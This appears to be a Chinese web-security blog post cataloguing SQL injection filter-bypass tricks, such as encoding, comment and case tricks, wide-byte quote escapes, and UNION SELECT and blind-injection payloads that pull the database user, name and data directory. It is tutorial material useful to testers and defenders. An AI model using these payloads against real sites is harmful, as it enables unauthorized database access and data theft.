【Web安全】sql注入绕过技法

sql注入绕过技法

1. 注释符号绕过

原理:SQL注释符号(如--, /* */)可以用来忽略查询的一部分,特别是在注入点之后的部分。这对于绕过需要闭合的查询或移除查询余下部分的情况特别有用。

-- 注释内容
# 注释内容
/*注释内容*/
;

2. 内联注释绕过

原理:在SQL关键词中插入内联注释(如/**/),可以改变关键词的外观,绕过基于文本匹配的过滤器。

SEL/**/ECT。在SELECT中间加入内联注释,可能绕过对SELECT关键词的检查

3. 大小写绕过

原理:SQL是不区分大小写的,所以可以混合使用大小写字母来绕过对特定关键字(如SELECT, FROM)的过滤。

select 换成 SeleCT

4. 双写绕过

过滤器可能尝试移除某些关键字,利用重复的关键字可能绕过对于它们的单次出现

selselecctect
oOrr

5. 编码绕过

  • URL全编码

对关键字进行两次url全编码:

1+and+1=2
1+%25%36%31%25%36%65%25%36%34+1=2 
  • ASCII绕过

使用ASCII码表示字符,这样可以绕过对普通字符集的过滤。

使用CHAR(65)代替A,在某些情况下可以绕过对直接字符A的过滤。
  • 十六进制绕过

使用十六进制值来表示字符串,可以绕过对普通字符串的过滤。

使用0x414243代替字符串'ABC'。
  • Unicode编码绕过

使用Unicode编码来替代字符,以绕过对特定字符或字符串的过滤。

使用\u0041代替A。

6. 大于小于号绕过

在进行sql盲注的时候一般使用大于小于号来判断ascii的大小

  • greatest(n1,n2,n3…)和least(n1,n2,n3…)返回最大值和最小值
...where id=1 and greatest(ascii(substr(database(),1,1)),1)=99;
  • in关键字
where id=1 and substr(database(),1,1) in ('c');
  • between a and b(不包含b)
where id=1 and substr(database(),1,1) between 'a' and 'd';

7. 空格绕过

如果空格被过滤,可以使用其他字符或编码来代替空格,如注释、制表符等

/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格

8. 逻辑运算符绕过

OR、AND、XOR、NOT被过滤的话,可以采取以下方法:

or = ||
and = &&
xor = | 或者 ^
not = !

9. 等号绕过

如果等号=被过滤,可以尝试使用其他的操作符或逻辑来达成类似的效果。

1.假如要=1,那我们可以>0 and <2
2.<>等价于!=,所以在前面再加一个!,Select * from cms_users where !(username <> "admin");
3.like, username = 'admin'
4.username LIKE 'a%'。这将匹配任何以'a'开头的用户名
5.MySQL中使用 REGEXP 操作符来进行正则表达式匹配,Select * from cms_users where username REGEXP "admin";

10. 单引号绕过

1.where table_name="users" 换成 where table_name=0x7573657273
2.宽字节,用%df吃掉\,id=-1%df%27union select 1,user(),3--+
3.可能产生二次注入

11. 逗号绕过

我们可能会使用substr(),substring(),mid()等函数,里面会有逗号

  • 对于substr()和mid()这两个方法可以使用from for 的方式来解决
 select substr(database() from 1 for 1)='c';
  • join关键字
union select 1,2,3,4;
union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);
  • like关键字
select ascii(mid(user(),1,1))=80
select user() like 'r%'

12. 关键函数绕过

1.sleep() -->benchmark() 指定次数表达式,造成延迟
2.使用 HEX('A') 或 BIN('A') 替代 ASCII('A')。
3.SELECT group_concat('str1','str2');->SELECT concat_ws(',', 'str1', 'str2');
4.使用SELECT @@user; 替代SELECT user();
5.ord()->ascii()
6.SELECT IF(substr(database(),1,1)='c',1,0);->SELECT IFNULL(substr(database(),1,1)='c',0); 或 SELECT CASE substr(database(),1,1)='c' WHEN 1 THEN 1 ELSE 0 END;

以上就是目前常见的绕过方法,本节参考文章,这篇文章后面写的很详细值得研究

你可能感兴趣的:(web安全,sql,web安全,数据库)